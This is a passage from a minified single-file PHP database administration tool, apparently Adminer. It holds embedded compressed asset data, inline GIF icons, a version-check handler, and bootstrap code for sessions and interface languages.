��:MP���ۭoC�vAE?�C�IiY��#�p�P\$k�J�q�.�07���x�l�sC|���bo�2�X�>M�\rl&��:2�~��cQ����o��d�-��U�Ro�Y�nM;�n�#��\0�P�f��Po׿(C�v<���[�o۸����fѿ���;�ẖ�[�Y�.o�Up���pU���.���B!'\0���<T�:1�������<���n��F���I�ǔ��V0�ǁRO8�w��,aF��ɥ�[�Ο��YO����/\0��ox���Q�?��:ً���`h@:�����/M�m�x:۰c1������v�;���^���@��@�����\n{�����;���B��8�� g坒�\\*g�yC)��E�^�O�h	���A�u>���@�D��Y�����`o�<>��p���ķ�q,Y1Q��߸��/qg�\0+\0���D���?�� ����k:�\$����ץ6~I��=@���!��v�zO񁚲�+���9�i����a������g������?��0Gn�q�]{Ҹ,F���O���� <_>f+��,��	���&�����·�y�ǩO�:�U¯�L�\n�úI:2��-;_Ģ�|%�崿!��f�\$���Xr\"Kni����\$8#�g�t-��r@L�圏�@S�<�rN\n�D/rLdQk࣓�����e����Э��\n=4)�B���ך��Z-|Hb����Hk�*	�Q!�'��G ��Ybt!��(n,�P�Ofq�+X�Y����\"b F6��r f�\"�ܳ!N��^��r�B_(�\"�K�_-<��*Q���/,)�H\0����r�\"z2(�tه.F>��#3���268sh٠��ƑI1Sn20���-��4���2A�s(�4�˶��\0��#��r�K'�ͷG'�7&\n>x���J�GO8,�0���8���\0�W9��I�?:3n�\r-w:�����;3ȉ�!�;��ꃘ�Z�RM�+>�����0/=R�'1�4�8����m�%ȥ}χ9�;�=�nQ��=�hhL��G�kW�\r�	%�4Ҝs�ΖJ�3s�4�@�U�%\$���N;�?4���N��2|��Z�3�h\0�3�5�^�xi2d\r|�M�ʣbh|�#v�` \0�ꐮ���\$\r2h#���?���I\n���+o-��?6`ṽ�.\$���KY%�J?�c�R�N#K:�K�EL�>:��@��jP��n_t&slm�'�ЩɸӜ�����;6ۗHU5#�Q7U��WY�U bN��W�_���;TC�[�<ږ>����W�CU��6X#`MI:t�ӵ��	u#`�fu�\$�t���X�`�f<�;b�gh���9�7�S58���#^�-�\0����չR*�'��(���qZ壣�X�Q�FUv�W GW���T��W�~ڭ^�W�����J=_ؗbm��bV\\l��/�M��TmTOXu�=_��ITvvu�a\rL_�qR/]]m�su=H=u�g o\\UՅgM�	XVU��%�h��53U�\\=��Q��M�v���g�m��ue�����h�b�M�GCeO5�ԁ�O5��Y�i=e�	G�TURvOa�*�ivWX�J5<��bu�]������<����\$u3v#�'e�u�R5m��v�D5�.v���W=�U_�(�\\V��_<��S�n)�1M%Qh�Z�T�f5E�'��W��v�UmiՂU��]aW�U�dRv��-YUZu��UV��UiR�V������[��ZMU�\\=�v{�X���wQ�huHv��gqݴw!�oqt�U{TGq�{�#^G_ubQ���i9Qb>�NUd��k��5hP�mu[�\0����_��[�Y-����r���(�CrMe�J�!h?QrX3 x���#��x�<�{u5~���-�u��YyQ\r-��\0�uգuuٿpUڅ�)�P��\r<u�S�0��w��-i���!�֊�B���d]��Ň��E��vlmQݏ6k��J��w�Ğ����ED�U�R�e�v:X�c�NW}`-�t�H#e��b��u���	~B7� ?�	OP�CW���SE͕V>���U�7�����m�ӂ�z�=����1���+��m�I,>�X7��]�.��*	^��N��.��/\"���)�	���s��|��ӟ�l�}�����!�5n�p�j��h�}���m�E�zH�aO0d=A|w�߳������u���v���G�x#��b�cS�o-��tOm`C��^M��@�h�n\$k�`�`HD^�PE�[�]��rR�m�=�.�ه>Ayi� \"���	��o�-,.�\nq+���fXd����*߽�K�؃'�� �%a����9p���KLM��!�,������zX#�V�uH%!��63�J�ryՁ��q_�u	�W����|@3b1��7|~wﱳ��A7��›�	��9cS&{���%Vx��kZO��w�Ur?����N �|�C�#Ű��կ �/��9�ft�Ew�C��a�^\0�O<�W�{Y�=�e��n���gyf0h@�S�\0:C���^��VgpE9:85�3�ާ���@��j_�[�+��ǩx�^�ꮆ~@чW���㓜�9x�FC���.�����k^I���pU9��S������\$���\r4���\0��O���)L[�p?�.PECS�I1nm{�?�P�WA߲�;���D�;S�a�Kf��%�?�X��+��B>��9���Gj�c�z�A͎�:�a�n0bJ{o��!3��!'��K�����}�\\��3W��5�x���L;�2ζn�a;���׺Xӛ]�o��x�{�5ޙjX���vӚ��q��EE{р4����{���	�\n��>��aﯷ�����L����������'����{�\n��>J�ߌ��ӗ��Y�\rOʽ�t����-O���4��9F�;�����G��I�F��1�o����O���a{w�0����Ư;񔄑l�o��J�Tb\rw�2�J��=D#�n�:�y��S�^�,.�?(�I\$���Ư��3��s�4M�aCR���G̑��I߰n<�zy�XN��?��.��=���DǼ�\r����\n��\ro��\nПCl%��Y���߰��G���}#�VН%�(����3�ɍ�r��};��׿G��n�[�{����_<m4[	I����q��?�0cV�nms��nM���\"Nj1�w?@�\$1��>��^�����\\�{n�\\���7���ٟic1���hoo�?j<G�x�l���S�r}���|\"}��/�?s��tI���&^�1e��t��,�*'F��=�/F�k�,95rV������쑈��o9��/F��_�~*^��{�I����_�����^n���N��~���A�d����U�w�qY���T�2��G�?�&����:y��%��X�J�C�d	W�ߎ~�G!��J}��������B-��;���h�*�R���E��~���.�~���SAqDVx���='��E�(^���~����������o7~�M[��Q��(��y��nP�>[WX{q�aϤ���.&N�3]��HY������[���&�8?�3������݆����#���B�e�6��@��[������G\r�+��}������_��7�|N����4~(z�~����%��?����[��1�S�]x�k��KxO^�A���rZ+����*�W��k�wD(���R:��\0����'����m!O�\n��u���.�[ �P�!��}��m ��1p�u��,T��L 	€0}��&P٥\n�=D�=���\ršA/�o@��2�t�6�DK��\0���q�7�l���B���(�;[��kr\r�;#���lŔ\r�<}zb+��O�[�WrX�`�Z ţ�Pm'Fn����Sp�-�\0005�`d���P���Ǿ��;��n\0�5f�P���EJ�w�� �.?�;��N�ޥ,;Ʀ�-[7��e��i��-���dَ<[~�6k:&�.7�]�\0������/�59 ��@eT:煘�3�d�sݝ�5䏜5f\0�P��HB�����8J�LS\0vI\0���7Dm��a�3e��?B��\$�.E���f���@�n���b�Gb��q3�|��Paˈ�ϯX7Tg>�.�p�5��AHŵ��3S�,��@�#&w��3��m[���I�ѥ�^�̤J1?�gTၽ#�S�=_��_��	���Vq/C۾�݀�|�����D �g>܄��� 6\r�7}q��Ť�JG�B^�\\g������&%��[�2Ixì��6\03]�3�{�@RU��M��v<�1����sz�uP�5��F:�i�|�`�q���V| ��\nk��}�'|�gd�!�8� <,�P7�m��||���I�A��]BB �F�0X���	�D��`W���qm�OL�	�.�(�p��ҁ��\"!����\0��A����V��7k��M�\$�N0\\���\"�f������\0uq��,��5��A6�p���\n�ΐjY�7[pK��4;�l�5n��@�\\f��l	��M���P��3��C�HbЌ��cEpP���4eooe�{\r-��2.�֥��P50u���G}��\0����<\r��!��~�������\n7F��d�����>��a��%�c6Ԟ��M��|��d����O�_�?J��C0�>Ё�&7kM4�`%f�l�ΘB~�wx��ZG�P�2��0�=�*p��@�BeȔ��|2�\r�?q��8����Њ(�yr���0��>�>�E?w�|r]�%Av�����@�+�X��Ag����s��C��AXmNҝ�4\0\r���8J�J�ǸD�Қ�:=	������S�4��F;	�\\&��P!6%\$i�xi4c�0B�;62=��1��̈PC��ƒm���dpc+�5��\$/rCR�`�MQ�6(\\��2A���\\��lG�l�\0Bq��P�r���B����т�_6Ll�!BQ��IŽG�����XRbs�]B�Hr���`�X��\$p�8���	nbR,±�L��\"�E%\0�aYB�s���D,�!��ϛpN9RbG�4��M��t����jU�����y\0��%\$.�iL!x��ғ�(�.�)6T(�I��a%�K�]m�t���&��G7�ITM�B�\rza��])va�%���41T�j͹(!�����\\�\\�W��\\t\$�0��%�\0aK\$�T�F(Y�C@��H���H�nD�d��Wp��hZ�'�ZC,/���\$����J�FB�uܬQ:Υ�A��:-a#��=jb��l�Ug;{R��U��EWn�Ua��V��Nj��u�G�*�yֹ%��@��*���Yx�_�z�]�)v\"��R��L�VIv�=`��'��U�) S\r~R���\ni��)5S��D49~�b�;)3�,�9M3�HsJkT�Ü�(����uJ�][\$uf��ob���\n.,�Yܵ9j1'��!�1�\$J��gڤ՟ĆU0��Zuah���cH��,�Yt��Kb�5��5��/dY��AU�҅��[W>�_V�\r��*���j��-T�� z�Y�d�c�m�ҹ��:����[Ut-{���l	�i+a)�.[��_:�5��h��W§�m��%JI��[T�h>�������;�X̺d�ŸS�d�V�;\rƱ!N��K&�A�Ju4B��dg΢.Vp��mb��)�V!U\0G丨��`���\\��q�7Q�b�VL��:�Ղ���Z.�N��*�ԏU]Z�l�z������R D1I��£�r:\0<1~;#�Jb���M�y�+�۔/�\"ϛj<3�#��̌��:P.}�e����D\"q�yJ�G���sop�����X�\r��d��\rxJ%���ƼO:%yy��,��%{�3<�Xø����z�E�z(\0 �D_���.2+�g�b�c�x�pgި��|9CP����48U	Q�/Aq��Q�(4 7e\$D��v:�V�b��N4[��iv���2�\r�X1��AJ(<PlF�\0���\\z�)���W�(�4����� p�����`��\r�da6����O��m�a�}q�`��6P�'h��3�|����f� j��A�z���+�D�UW�D���5��%#�x�3{��L\r-͙]:jd�P	j�f�q:Z�\"sad�)�G�3	��+��r�NK��1Q���x=>�\"��-�:�F���Iك*�@ԟ�y�T�\\U��Y~Š������3D������f,s�8HV�'�t9v(:��B9�\\Z����(�&�E8���W\$X\0�\n��9�WB��b��66j9� �ʈ��?,��| �a��g1�\nPs�\0@�%#K����\r\0ŧ\0���0�?�š,�\0��h��h�\08\0l\0�-�Z��jb�Ŭ\0p\0�-�f`ql��0\0i-�\\ps��7�e\"-Z�lb�E�,�\0��]P ��E��b\0�/,Z��\r�\0000�[f-@\rӯEڋ�/�Z8��~\"��ڋ��.^��Qw��ϋ�\0�/t_ȼ���E���\0�0d]��b�Ť�|\0��\\ؼ���E�\0af0tZ��n�J�\0l\0�0L^��Qj@��J��^��q#F(�1�/�[�1�����I�.�^8��\0[�q��[Ñl\"�� ��\0�0,d����\r����c��{cE�\0o�0�]�\0\rc%�ۋ���8�w���Z��-�\\��{��֋G�/\\bp��@1�\0a�1�����s�!Ũ�/�/�]8��~c\"�ۋ��2�cΑm�\"�9�q�/\\^fQ~c�_���-\$i�\"�\0003����fX�qx#\09��Z.�i���@F���3tZH� \rcK�b\0j�/Dj��1����I�h�a��v�Ʃ�OZ4�Z��т#YE�\0i�.hH��sX/F<���.�j���b���\0mV/d\\���b�E����3T^(�шcKFR�����]X�q��������6�]h��c6Eċ�66�h����n\0005�sn/dn��`\r\"�F���-D`�Ց��N�2�Y��bx��#\\�닇V3x�1x�Fx��\0�6�b�q����!��8|^���ub�����-�r��q��:��%�0�pp�#����\0�6�f��Ǣ�Ŭ�d�0�qH����\$�@�q�-�^B4��\"�\08�1�/lnxϑ���G�3:0tjh�~@Ƽ���3�vH��b�G(�e��4gغq��2�1��-�nX��\"�F<�Q�1\\j��1���ENj��4m����[�n�z7�yh�1�#�ގ/�3\\x�q�KG����6�o��1{��FJ���6�lX�q⣄�u���9�r(�1��Gc\0�f:�rX��#�Ž\0i�<\\}���b�F�\0s�7�y2���#uFe��\">4i��������\n<{�㑍��Ɖ�J;�]��1�#��0��J;4^��D���Ǯ����4i��(H#��E�x�/�n��1��/ǡ��j6,l��1t�/\0005%�0�]x����GG5�!�0��������r�q�2��ޑ��NFP�o\"4�_��1�d�%�e �3�s8���G5�� �6�[H��c�H�jY�;�[辑�b�! �y�@�\\��q�#WHN���;�c�Q��:�-�%�.�kXƑ���G͌��1Df�ߑ�cWFl��!�0����c Eܐ��;l��q�\"�F����7\\\\������O�q�.T|\"?����E��f9TyYѩ�SG1���A\$f9R\n\"��x��>B��H��ߤ\0���:\$e�1���F?�=�3Tu)\nq�b��~���<T��α�c�H.�m~C�wHʱ�#/�I�]~3�^��ф#��>�Y�4�^��Qjc��K�1\"�8�|6��c\"�B��\"b4���%����G\0e\"�/t���1r�1��e!v2�y����<Ǡ���8\\o��ђ#t�ѐ\rz@�}H‘�b���y �1�\\���deG��Z3�~�r)�1ȿ���Bl~H��:�dF��-�?�k8�q�c(F͋�K�5|my�c1�<�*@�j���1��ž��>I�Z��Qj��2��\$0��h�Q��VFT�	\$�Al~�qڣȱ�\$�>\\p�\rq�\$/�u%�!�Jq \$��tE��GN-Tq)�\"��Hʌ��=�X�2-�H���8\\n��RW\$H��\"�C\\_�\0�d\$�f��\".D�u	'Q�zE��&0to��qj��ƿ��R@d������u�##�LLk�*q�\$*Gđi�@T�i�l��E����5���r\\d�I���\"/�Z�0�j\$T���z5Ld3�����o�.Tq�!1{�����9�Z��Q�b�F�wJ94n�����{�(�-�8�2h�u��;\$�-Dk��rs��H���#���Y7�\"�/E����	\$j�^�-�]�7�[\"N\$��‘��W����/]�\$�+�1Ga�/&IDn�’@\$��!��\$�-�k!�Q����)(N/\$t������O�KzP�tX��[\0�G��w(*K\$v��1�c�'��G̞I�xd��\n�A�8\\rX��a��I�iN�I%\$���_���6�f�Q�#��I�5#�F��غ��#�E⒕\"�3\$�I�c�H���vR|�Q��cE���:R�e��h�EΏfK`8�r.#�E��s�0L���R��F���!\nC\$`���\$�H?��nP�e�!�@F'���/�����������%�N,h��rF\$�����3�t��Ҁ���!1<��CQ�%�Ò��J�Z�f.�6ō����C���Ԝ.�[��Bҿx����\0NRn`���Y\n�%+N�IMs:ùYd�ef�B[���nƹY��m��R�ג��Y��C�X���j��U+Vk,�\0P��b@e���x��V��yT�7�u�[J�ȱ\nD��eR��mx&�l�\0)�}�J�,\0�I�ZƵ\$k!���Yb�����R‡e/Q���k�5.�e��5����W�`��\0)�Yv\"V�\0��\n�%��`Yn�աa��xÆQ!,�`\"�	_.�偩Ɩtm\$�\"��J��֍���v�%�M9j��	斧�*�Kp֔�;\\R ��3(���^��:}���|>µa-'U%w*�#>�@�̬e�J���;Pw/+��5E\rjn���d���^[���cΰ�u�z\\ؐ1mi\"x��p��;����P)����#��ؒ���!A�;��	4�a{`aV{K�U��8㨟0''o�2���yc̸9]K�@�җ^�lB��Or���,du��8�?����%�gB����Yn+�%c�e\0���ऱYr@f�(]ּ�\nbiz��n�SS2��GdBPj���@�(�ȥ�!�-�v��e�*c\0��4J�炒���,�U�	d��e�j'T�H]Ԋ�G!�)u��֯��ү�Z�B5�̓W��0\n���R���W��\\�Q j�^r�%l��3,�Yy��f3&��܎�Q:ϵ2�m�R)�T��(KR��0�ʔ@��Y��Y:��e3\r%���T�%�X����ST�.J\\�0�h�ą�D!�:�u���U\"�Ł�o+7�\"����f'��R\0���J��2S�2�#nm ��I劜�\"X���[�ր��} J��c�9p0���Q�(U\0�xDEW��.L��=<B�0+�)ZS V;�\\�I{�5I�A���,dW�u�5Ew\n\$%ҁ���2i_\$��+��O,����X��ՑJg&J��G��%\\J��b.��^L�T�Fl�薹]k#f@L�G�ĐT�ٗ��H��\"�q1S̰��j�V�(Ι��ZVz�ņ�,����G�.1F��gN�;�1ÊV��5E��5`�\0Ct�=F\nṛα�K����\0�ۊ�%��D]Q\$\r\0�3J\\,͙��<T4*���.�YK�D�Q��L�S%,�g������<��u0���Uĉ�*x(��N’Yv!��y�	w�4fd��rG��M \$��^;�����)<P�]D�%%�;�j��I0�a�u^Jp�[)�v�3RhR�E��\n�L_�#5|ܾ�m3P�*�\\Y51X��	i�N���\$\"��a���h*KU���V8��u�%&�r�˚��5o���g�;�rMl[ƨ�g������U�q�깚h|�eO2�f MlW2AP�׹�����v~eD�e�3Uӫl�E62i�����Ub���U���������V��iI!\$i�ʭ&Z:��xm!ņ�.�O�fwү!���kݤ̓��6b\"�I�J]]:T��6�Vr��}��ǫ]����U��	ys7f�Mř�3����Y��:T_M�w%3�n��\n��z*��3�h��	�`U��L���,�ۄ�5��vf��Û�42_Q��h���uD�\no��)�ĜիM9�7foۼ��r����WB~iT�eyQT�N\n�d�pr�#��M�;���4�p���t���(;���5	|��ǂ��',AV7ܔ��UA�&��R�P�\"��y�ҷ��)�[�n���-3V��,?�s6�p���3�f��A��9k|�ɮS�f�*@��5�g��ɿ2��}����U�ݙ����H�F�l%�p«Ie�be�M�SO\r�[��i�3�f��LV��r�u�����NA�:�%r��y3Q�_̸�W.���^Sl@&���5�Yl��1���}Vx�gʅ�^Sn���Q!:5�Z�iZCԈ:���3qg�%D��ݪ{U�3�tZ�`��u%w:�ZQ:Q���W f�훿9Jpl�)�3x�v���K7�b#�����X+J�(��h��P*Ӂ���Λ��!ה�ŏSL�h*'���\npB��ڪ�gNʝ�8BuҪ�Ž��Ό��8ni�I�s�US�I��;vvڳU�sR�7N�u�8�H|���ӷ�̎��8�q����+'���`�x�9R�	ծ��MaR8�x�)��'!���;�U��Y֓��sNI�g:�KT�y�3�g��Y����k���ܳn'LO(��3�w4�4������l���J����w��9�\\����hf(�_~���}9N���\0���b\"�Y餃Th,ڞ�@��D���\$�I��;�e��U��n����,�O��	X��g�-���+>ti'G����l�%\0�8�VB�U1�ye�\0KT�4���m��V2)\r]I/\rF���X���ߨ�a��G�¹�*�����>ER������Z�-)I\$����:�a�\0�Fyba�g�w��(�_@�v}�i�ʳ�S^�25DԳ�	��URO��JH��\\�is�f��K�N��qi�Sg�OŸ\n�F~|���*@gR�_Q<9sܬ3i+ؗ�.Cw���|���y�6a�O�Y9���ɖ\n�Խ-([���_�}�S�]c�S=��������Y��U->�<���\n<�sO�Q4F�^}\0007u�k(/���/5{L�9�\0����&��[<���s�\0&��#�@h��3�V}��H���*�w+]'D�&�@�ց])��;TGe3��\\��n����d\$:�uN4�ykt�-dR!7����e4(P!��-��9�4�_PMGb��ıw����6O�S�F���)��yh0+����qT|��+u���+��A�?��	�T�3.q��41T��e��\n:P����{T�\n��h?��T�A�S��*���+�u�>�\\�Z����Y췢wEJ��%��s�L��d��y�+\rC�ߡ'A�l,�y�3���͗`�	_*�P� ThKDV���~5	�0�+�,�-?�]���3�֍K�`�^���I42(]�w�.�r����]�\nYƨB����	��}ЋR ��g�}:H��J�WP��\"޵���V\\�<��? >�����ܬ݆�=��:�\n0��\\+�S���f�U���U,�WCֈ�On��΅��.�e9|R�I'�[�/������2���Q��Bn:�I�\n��g�9�\r�,�R6����Q\$X�+�>����`\n�)/_8Qi�����=��v?5v�\0 \n���LG�Dm�w\\�F֌�Ѣ���dꟵ}s�\"��Yv�|�J*�9h���@XEU�*�(oQ]\$�B��,�����KT�v�AptCɃ\n�C,/�<��ڙEW�-V�P��=W�*%K�-Q`9	(��59Ӏ�m)�X��@�2���T@��\nS���bd�Eδa�+�DX��|U�	�	��F� 2�%5\nj�m��W�+�x�K��V�3#��CT�ek���&�,�l�jbd7)ӓ\"\n+�P��b��I�@�3��ܵjU��Es��)D�f뒃������P�Z3AΌ�\nwTh𗲪ۘ�4Z��<�uߩ�dq�ˊu(���bKG����n�Tﮈ]z��f%#�3I�fS��&}�@D�@++��A�h���\n��U�ޥ|B�;��Um��U�E�N�!�x2�1�\0�GmvH~��H�T�)�W��YN�\"�k5��vT#=�ڥ�<\n}�#R3Y�H�R�Iͳܦ;��Rl�1l�uB%TQJ�*���'�E�0i�dw,�z�ͥ:\$��;�?���j��)��)ԏ�\$32J}�&�[�\$��́�;Dn��E״�+0�aZ{���C ���(��:����O@h��D��\0��`PTou����F�\rQv����o�ܡ\$S��+��#7��Izr�pk�DW��Fs�9��Q� ���1�g��#�\0\\L�\$��3�g�X�y�y �-3h����!�nX��]+��	ɝ�c\0�\0�b��\0\r���-{�\0�Q(�Q�\$s�0���m(�[Ru�V����>��+�J[�6����J\0֗�\\���,��K�3�.�]a_\0R�J Ɨ`�^ԶClR�IK��\n�\$�nŏ���Kj��\n����~/��mn�].�`��ij��#K��f:`\0�錀6�7K▨zc��\0����/K���/�d���FE\0aL���dZ`�J�S��ʙ�2��4�@/�(��L��0�`�ĩ��_�L��]4Zh�Щ�SD�M��4:c��SR��M�E4�i��SG�EMj��4zd�թ�SFKL��%4�e��%\$�lKM2��1�ڔ�i����MV��.�ڔ�i����Lz�/���ۣӄ��M�,`�_��imS��gMƜ�jg�����5�9.��9j_��S���.��9�_���S���.�7�r�)��%�[2�m8�uT��S��3M:�]3�q���nӱ�KN�1|^�kt�\"��H�gKj�-;zc�i�Ӛ����\r<�_�-i�Ӹ��\"֞U.���i�RڑkOF��=:\\��\$Zө�MLE�5�x����ӻ_\"֜=<\0�t��S�9OҞ�1�~��i�����O��>�~q�)�F����=6:~���J���P:��=��T�)�ƫ��PJ8�@�w�����*��O�5]>��t���T\n��!\"��6Y	)��H�/P���3�	���/��P~���	�Ӯ�!\"��C����j� �eNJ������*%�4�1Q��CZ�Q�jTB�Q.�\rE)\0004��\$�2�SM+�<j�t�j0�,�9Q��}F\0\$�s��Ta��KΣ]Ecj*�'K�M��MGx��R�T1�#QꡥG��5�:�z�L��4u6z��\"j\"T�KuN֣�G�g\$jFSܨ�Q2��H��\"�MT��%R��Hz��\$�,�w�Re.\$r�z�)��Ԧ�-Q���J���ʪ@԰�=R&/�Iʕ1�*]T���7���Q��D&өqN�_(�q�c[Tw�QR�崜J�\0n��T���.��956c�܌�Sz�H���7�R�}�Sr8�N���\"b�T��Q�5MN���#����ES§-H��7\"�T��_S�}G�̕?*yԩ��S�P*�5#���܍�T:�]Pʟ�C*�ԉ�T:�-K8�5C����R�--MȾ�H��� �'T���H���H���ы�T���R���,���܋GTک-SJ��M*�ԩ�UTکmMH��M���>�gSD�5M�•R���H�wU\"��K8��R���ڌ�U*�-U*��n¾T�IR�,t�Z���Y�IUF�51���W)v�k�_KƫpJ�5Zj�ů�R�4r\n�^jI�CK����}Uʓ_��ԛ��O�=N�R*�F-��R��%W���c��\\�aV>�EYj��d���ëUά�WX�5*�Ջ��Uy��Z��1k�ը�7V��R\\H�5h*�U���UƧM[���k�vո�3V�}[(�5W�zո�iB�O��1��T���V�;�[��pR�Gu�;T@0>\0��/I���W`�]��\0���8��P��]��1m*��ǍyUz�mW��|�ݓ[��֯�]J�ш��U������Z*�5\\j����Z��`Z�5~��E�W��4Z��5h�Q�^�cXZ��S��1o�V��U&��T��5}cU^��X��dm*���kUu��SfG=[��j�sտ��X�Kc\n�iR�H�i#��uWt��������X�cĹ��U���rڢ�UZ�Շ�NE���X���4��ud�E�eV^��K��n��V8�sX¥�f��/�hJ�-J]ӂ������zO��<Eh�\$勓���\0K��<bw��>���N�\")]b�	�+z�.cS.�iF�	���QNQ���V*������O[X�nx��P	k��oN��}<aO�Iߓ�h���T;�r񉉤�VD6Q�;z�]j�~'�:�[Iv��7^ʑ����j�w[������ņ�:u �Ds#���\\w�<n|*�h�m�Kv;Y҈��3�]��^#�Z�j�gy�jħY,�%;3������.�W\"��\$�3>gڜ���Ϧ�V�T�Zj�hY�j�kD*!�h&Xz�i���+GV��\"��Z�:Ҥ�+�NoG�Zjj�i�]ʞkO�_�֬ԐmjI����t��#�[�j\rn�����n��Z�_,���g�Ě�:���9����[L2�W=T��0��f�\0P�U6\ns%7isY�?��u�3���nb5�����X|G~l�&�k���M��������y�S��)�]�ܭr��ٸ�������?�}u'n0W-ι��b��Ǫ���k?�vQ�7��}p\n�����ٮZ*�9)��5ޕZW�-ZB���:��㫊W�\0WZfp�Gp���ٮ:�Fp����U��SN/��\\��%s9�S{� �8��Z�as�ۓ�+�N^��9�M�{�P5�� �Q���J���y����;����z����Y�V �3�:�D�I���+����19M;�������V���\rQ{��ծ���+��F�CLĹ�N���Ԉ�\\��)\$i���N'\0���P�š���]X�^�s1�f�&�\"'<O���̡�L\0�\"�@���%�6��UA�1�i(z��݁�\r�Ղ��bZ��+IQO�3���\r=*ĉ��)�!����`��h��,ЫmGPC��A��ٲ�A��(ZŰ%�t�,h/���i��k���XEJ6�ID�Ȭ\"�\n�aU- ��\nv�y��_���›ګ�k	a�B<�Vƒ�D�/P���a��)9L�(Z��8�vvù�k	�o�ZXk���|�&�.�東C�����`�1�]7&ę+�H�CBcX�B7xX�|1��0��a�6��ubpJLDž�(���mbl�8I�*R��@tk0�����xX���;�� al]4s�t��Ū�0�c�'��l�`8M�8����D4w`p?@706g̈~K�\r�� �P���bh�\"&��\n�q�PD����\$�(�0QP<�����Q�!X��x��5���R�`w/2�2#���� `���1�/�܁\r���:²����B7�V7Z��gMY�H3� ��b�	Z��J���G�w�gl�^�-�R-!�l�7̲L��ư<1 �QC/ղh��)�W�6C	�*d��6]VK!m����05G\$�R��4��=Cw&[��YP��dɚ�')VK,�5e�\r���K+�1�X)b�e)��uF2A#E�&g~�e�y�fp5�lYl�Ԝ5�����\nŠ�m}`�(�M �Pl9Y��f����]�Vl-4�é����>`��/��fPE�i�\0k�v�\0�fhS0�&�¦lͼ�#fu���5	i%�:Fd��9��؀G<�	{�}��s[7\0�Ξ3�ft:+.Ȕ�p�>�ձ�@!Pas6q,���1bǬŋ�ZK���-��ar`�?RxX�鑡�V���#Ĥ�z�; �D���H��1��6D`��Y�`�R�P֋>-�!\$�����~π���`>���h�0�1����&\0�h���I�wl�Z�\$�\\\r��8�~,�\n�o_��B2D����a1��ǩ�=�v<�kF�p`�`�kBF�6� ����h��T T֎�	�@?dr�剀J�H@1�G�dn��w���%��JG��0b�Tf]m(�k�qg\\�������ш3vk'�^d��AX��~�W�Vs�*�ʱ�d��M����@?���}�6\\��m9<��i�ݧ��Ԭh�^s}�-�[K�s�q�b��-��OORm8\$�yw��##��@❷\0��ؤ 5F7����X\n��|J�/-S�W!f�� 0�,w��D4١RU�T������ZX�=�`�W\$@�ԥ(�XG��Ҋ��a>�*�Y���\n��\n��!�[mj���0,mu�W@ FX������=��(���b��<!\n\"��83�'��(R��\n>��@�W�r!L�H�k�\r�E\nW��\r��'FH�\$�����m���=�ۥ{LY��&���_\0����#�䔀[�9\0�\"��@8�iK���0�l���p\ng��'qbF��y�c�l@9�(#JU�ݲ�{io���.{�ͳ4�V́�VnF�x���z� Q�ޞ\$kSa~ʨ0s@���%�y@��5H��N�ͦ�@�x�#	ܫ /\\��?<hڂ���I�T��:�3�\n%��");}else{header("Content-Type: image/gif");switch($_GET["file"]){case"plus.gif":echo"GIF89a\0\0�\0001���\0\0����\0\0\0!�\0\0\0,\0\0\0\0\0\0!�����M��*)�o��) q��e���#��L�\0;";break;case"cross.gif":echo"GIF89a\0\0�\0001���\0\0����\0\0\0!�\0\0\0,\0\0\0\0\0\0#�����#\na�Fo~y�.�_wa��1�J�G�L�6]\0\0;";break;case"up.gif":echo"GIF89a\0\0�\0001���\0\0����\0\0\0!�\0\0\0,\0\0\0\0\0\0 �����MQN\n�}��a8�y�aŶ�\0��\0;";break;case"down.gif":echo"GIF89a\0\0�\0001���\0\0����\0\0\0!�\0\0\0,\0\0\0\0\0\0 �����M��*)�[W�\\��L&ٜƶ�\0��\0;";break;case"arrow.gif":echo"GIF89a\0\n\0�\0\0������!�\0\0\0,\0\0\0\0\0\n\0\0�i������Ӳ޻\0\0;";break;}}exit;}if($_GET["script"]=="version"){$hd=file_open_lock(get_temp_dir()."/adminer.version");if($hd)file_write_unlock($hd,serialize(array("signature"=>$_POST["signature"],"version"=>$_POST["version"])));exit;}global$b,$g,$ec,$mc,$wc,$o,$jd,$pd,$ba,$Md,$y,$ca,$ie,$jf,$Uf,$_h,$td,$gi,$mi,$vi,$Bi,$ia;if(!$_SERVER["REQUEST_URI"])$_SERVER["REQUEST_URI"]=$_SERVER["ORIG_PATH_INFO"];if(!strpos($_SERVER["REQUEST_URI"],'?')&&$_SERVER["QUERY_STRING"]!="")$_SERVER["REQUEST_URI"].="?$_SERVER[QUERY_STRING]";if($_SERVER["HTTP_X_FORWARDED_PREFIX"])$_SERVER["REQUEST_URI"]=$_SERVER["HTTP_X_FORWARDED_PREFIX"].$_SERVER["REQUEST_URI"];$ba=$_SERVER["HTTPS"]&&strcasecmp($_SERVER["HTTPS"],"off");@ini_set("session.use_trans_sid",false);if(!defined("SID")){session_cache_limiter("");session_name("adminer_sid");$Hf=array(0,preg_replace('~\\?.*~','',$_SERVER["REQUEST_URI"]),"",$ba);if(version_compare(PHP_VERSION,'5.2.0')>=0)$Hf[]=true;call_user_func_array('session_set_cookie_params',$Hf);session_start();}remove_slashes(array(&$_GET,&$_POST,&$_COOKIE),$Vc);if(get_magic_quotes_runtime())set_magic_quotes_runtime(false);@set_time_limit(0);@ini_set("zend.ze1_compatibility_mode",false);@ini_set("precision",15);$ie=array('en'=>'English','ar'=>'العربية','bg'=>'Български','bn'=>'বাংলা','bs'=>'Bosanski','ca'=>'Català','cs'=>'Čeština','da'=>'Dansk','de'=>'Deutsch','el'=>'Ελληνικά','es'=>'Español','et'=>'Eesti','fa'=>'فارسی','fi'=>'Suomi','fr'=>'Français','gl'=>'Galego','he'=>'עברית','hu'=>'Magyar','id'=>'Bahasa Indonesia','it'=>'Italiano','ja'=>'日本語','ko'=>'한국어','lt'=>'Lietuvių','ms'=>'Bahasa Melayu','nl'=>'Nederlands','no'=>'Norsk','pl'=>'Polski','pt'=>'Português','pt-br'=>'Português (Brazil)','ro'=>'Limba Română','ru'=>'Русский','sk'=>'Slovenčina','sl'=>'Slovenski','sr'=>'Српски','ta'=>'த‌மிழ்','th'=>'ภาษาไทย','tr'=>'Türkçe','uk'=>'Українська','vi'=>'Tiếng Việt','zh'=>'简体中文','zh-tw'=>'繁體中文',);function
get_lang(){global$ca;return$ca;}function
